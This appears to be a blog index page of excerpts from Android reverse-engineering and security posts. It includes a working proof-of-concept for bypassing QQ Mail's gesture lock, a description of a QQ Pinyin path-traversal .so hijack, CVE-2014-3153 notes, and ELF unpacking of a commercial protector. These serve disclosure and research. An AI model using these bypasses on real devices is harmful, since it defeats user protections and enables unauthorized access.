设置Android调试开关的方法

在进行Android应用逆向分析的时候,让目标应用处于调试状态能极大的增加效率,能够完成如下功能:

  • 动态调试
  • 使用DDMS、Android Profiler进行分析
  • 优化Logcat输出,因为当应用处于调试状态时,logcat包含包名

开启调试开关的方法有:

  • 修改AndroidManifest.xml文件
  • 使用Xposed插件,修改启动参数
  • 修改系统的ro.debuggable属性

修改AndroidManifest.xml文件不推荐使用,不仅效率低下,而且越来多的应用加入完整性校验(甚至包括服务端完整性校验)后,还需要增加额外的时间成本完成这一简单的修改。尽管绕过完整性校验的方法并不难。 More

使用Maigsk禁用MIUI自动升级

公司的测试机以小米居多,主要是为了使用Magisk、Xposed、Frida一类的框架。而MIUI不论是稳定版和开发版,OTA均无法彻底关闭。经常重启后开始OTA,导致环境被破坏。

目前常用的几种关闭OTA的方法有:

  • Host屏蔽
  • 禁用Updater.apk
  • 修改版本号

Host屏蔽对于挂代理无效(我们需要长期挂着代理),而禁用Updater.apk则过于繁琐。所以修改版本号对于我们而言是最稳定的方式。修改版本号需要动build.prop,修改其中ro.build.version.incremental的值为一个较大的版本号即可。 More

修改scrapy-selenium支持docker-selenium

Update:目前scrapy-selenium已经支持Remote WebDriver,参考#55

scrapy-selenium是一个Scrapy的中间件,用于让Scrapy支持通过selenium driver访问网页。但默认情况下只支持本地的WebDriver。

scrapy-selenium在和selenium的会话管理上相对完善和稳定,所以,派生一个SeleniumMiddleware的子类,重写即可。 More

逍遥模拟器adb配置参考

最近为了减少一些工作量以及完成自动化的需求,对Android模拟器进行了一些测试。通过测试,逍遥模拟器的性能、兼容性、Xposed稳定性方面满足需求。但默认情况下adb连接略微麻烦。可以进行如下调整解决。

本地adb连接

由于逍遥模拟器自带的adb版本较老,使用platform-tools的adb连接会出现不兼容。因此,复制platform-tools的adb替换即可。替换文件:

  • adb.exe
  • AdbWinApi.dll
  • AdbWinUsbApi.dll

远程adb连接

和其他模拟器一样,逍遥模拟器基于VirtualBox进行虚拟化。模拟器的网卡使用nat模式,然后通过配置forward,使得host的adb可以访问到模拟器的5555端口,默认配置下,hostip为127.0.0.1,远程访问只需要修改hostip即可。 More

切换VPS服务器记录

终于下定决心买一台VPS。原因有两个,一来总是白嫖FlowerCode的服务器,实在不好意思;二来最近三年都在兼职成都办公室网管和部门IT的角色,一来二去的折腾,竟感觉还有那么些意思。所以,趁着休假的时机,正好有时机安静的折腾。

根据个人习惯和需求,对服务器的需求如下:

  • 性能:能够稳定运行一些Web Server,考虑到Docker和一些OOXX需求,优先考虑SSD;
  • 网络:因为不考虑国内服务器,在速度上,访问速度一般即可。带宽一般,流量价格相对便宜;
  • 个人喜好:因为主要使用Docker,且熟悉Ubuntu,所以有Ubuntu可选的VPS即可;

综合考虑,最后选择了Contabo丐版SSD套餐。虽然Contabo的口碑略差,且服务器在德国,但是下面的配置作为入门,还是相对划算: More

连接AWVS 11的PostgreSQL数据库

最近有些需求,需要在AWVS 11的基础上进行一些自动化,AWVS 11的API接口不能完全满足需求,所以需要直接操作数据库完成。

读取配置文件

配置文件位于C:\ProgramData\Acunetix 11\settings.ini,数据库相关的字段如下:

databases.connections.master.connection.user=wvs
databases.connections.master.connection.host=localhost
databases.connections.master.connection.port=35432
databases.connections.master.connection.db=wvs
databases.connections.master.connection.password=j6qGK0UCYFnD3lkJsC2ZK1DZJqKO0oqi

外部访问PostgreSQL

修改C:\ProgramData\Acunetix 11\db目录下的PostgreSQL配置文件pg_ident.confpostgresql.conf可以让PostgreSQL外部访问,但升级的时候会出问题。Windows下,使用netsh进行端口转发,并且加入防火墙例外即可: More

QQ拼音for Android v4.9.1 so劫持/感染

Intro

QQ拼音for Android v4.9.1的导出组件com.tencent.qqpinyin.voice.DownloadApkService没有对传入的下载地址进行过滤,导致任意文件下载,且没有对传入的文件名进行合法性校验,导致目录遍历。加上其本身Apk的特点,可以使用该组件感染/劫持so文件。之前没注意QQ拼音已经归属搜狗,2015-04-27提交到了TSRC,告知已转交搜狗。至今漏洞依然存在,但从v4.9.2开始lib目录有所变化,无法感染/劫持。

漏洞细节

查看AndroidManifest.xml文件,发现com.tencent.qqpinyin.voice.DownloadApkService导出:

<service android:name=".voice.DownloadApkService" android:process=":remote">
    <intent-filter>
        <action android:name="com.tencent.qqpinyin.download.apk" />
    </intent-filter>
</service>

DownloadApkService关键代码如下: More

QQ邮箱 for Android <= 4.0.4手势密码绕过

对于一个Android程序来说,没有一个统一的入口,任何导出的Activity都可以作为程序的入口。所以,如果在写程序的时候,没有考虑到每一个入口进入时的状态,就有可能出现逻辑上的漏洞。
比如QQ邮箱的这个,连续启动两次某些Activity就可以绕过手势密码。最初把PoC代码和描述都提交到了TSRC,结果那边回复说这是by design的,之后的沟通不了了之。

POC

  @Click
  void doEnterCalendarActivity() {
    (new AccessQQMailTask("com.tencent.qqmail.calendar.fragment.CalendarFragmentActivity")).execute();
    finish();
  }
  private class AccessQQMailTask extends AsyncTask<Void, Void, Void> {
    private String target_activity_name;
    public AccessQQMailTask(String activity_name) {
      super();
      target_activity_name = activity_name;
    }
    @Override
    protected void onPreExecute() {
    }
    void start_activity() {
      Intent intent = new Intent();
      intent.setClassName(tencent_mail_package_name, target_activity_name);
      startActivity(intent);
    }
    @Override
    protected Void doInBackground(Void... params) {
      try {
        start_activity();
        Thread.sleep(500);
        start_activity();
      } catch (Exception e) {
        Log.e(TAG, e.getMessage());
      }
      return null;
    }
    @Override
    protected void onPostExecute(Void result) {
    }
  }

完整代码见: https://github.com/TheCjw/Old-Android-POCs/tree/master/QQMailPatternLockBypass

半自动Fuzz

结合Drozer,并针对导出Activity进行一些逆向分析,可以轻松找到类似的漏洞。这类漏洞并不适合Fuzz,因为很大程度上涉及到了业务逻辑,初始化环境和检测结果免不了人工干预,但我们当初还是进行了一些尝试。大体的步骤是这样的: More

CVE-2014-3153笔记

CVE-2014-3153可以说是相当经典的漏洞,影响范围相当广泛。这实际上是一个Linux内核的Use-After-Free漏洞,利用得当可以转化为任意内核地址写入。Geohot的TowelRoot也利用了这个漏洞,在当时(以及现在)能够Root(或Crash)绝大多数Android设备。由于工作的需要,收集了该漏洞的一些资料,并且对漏洞原理和利用方法进行了一些学习和分析。

参考资料

以下是收集的资料:

个人觉得NativeFlow的三篇文章详细的解释了各种细节以及利用方法,包括使用模拟器进行内核调试、问题代码补丁地址、Crash PoC以及图示。天融信的文章结合了NativeFlow的三篇文章,并加入了自己的见解和分析,也挺不错,就是排版稍差。pwntex是NativeFlow给出的Relock和Requeue的PoC,而CVE-2014-3153和libfutex_exploit则是两个可以在Android上获取Root权限的PoC。 More

360加固保ELF脱壳总结

Intro

360加固保可以针对ELF和DEX进行保护,360某些产品的ELF文件基本都使用了自家产品进行加壳,而这些正是我们感兴趣的东西。由于文件比较多,为了能够快速的拿到Payload,最近稍微总结了一些较为通用的方法。

大体流程

壳整个流程的目的是解密核心ELF文件到内存中,关键解密的地方有3处,均使用RC4。

  • INIT_ARRAY:壳填充了结构,Linker在so加载完毕后会调用这个回调。这个函数被重命名为__gnu_armfini_26。其功能是进行一些反调试,并且解密JNI_Onload的代码。
  • JNI_Onload:JNI_OnLoad负责解密核心ELF并加载。此时解密的ELF文件的入口代码没有解密。
  • __gnu_Unwind_0:最后的步骤,解密核心ELF的入口代码。在不同的版本中解密入口代码的地方有所不同,一般的产品中在壳调用原始JNI_OnLoad之前会进行解密,360的某些产品则会通过Hook库函数的方式,在调用库函数之前再进行解密。

关键函数

外壳大部分函数名被修改成了伪库函数的名字,如图: More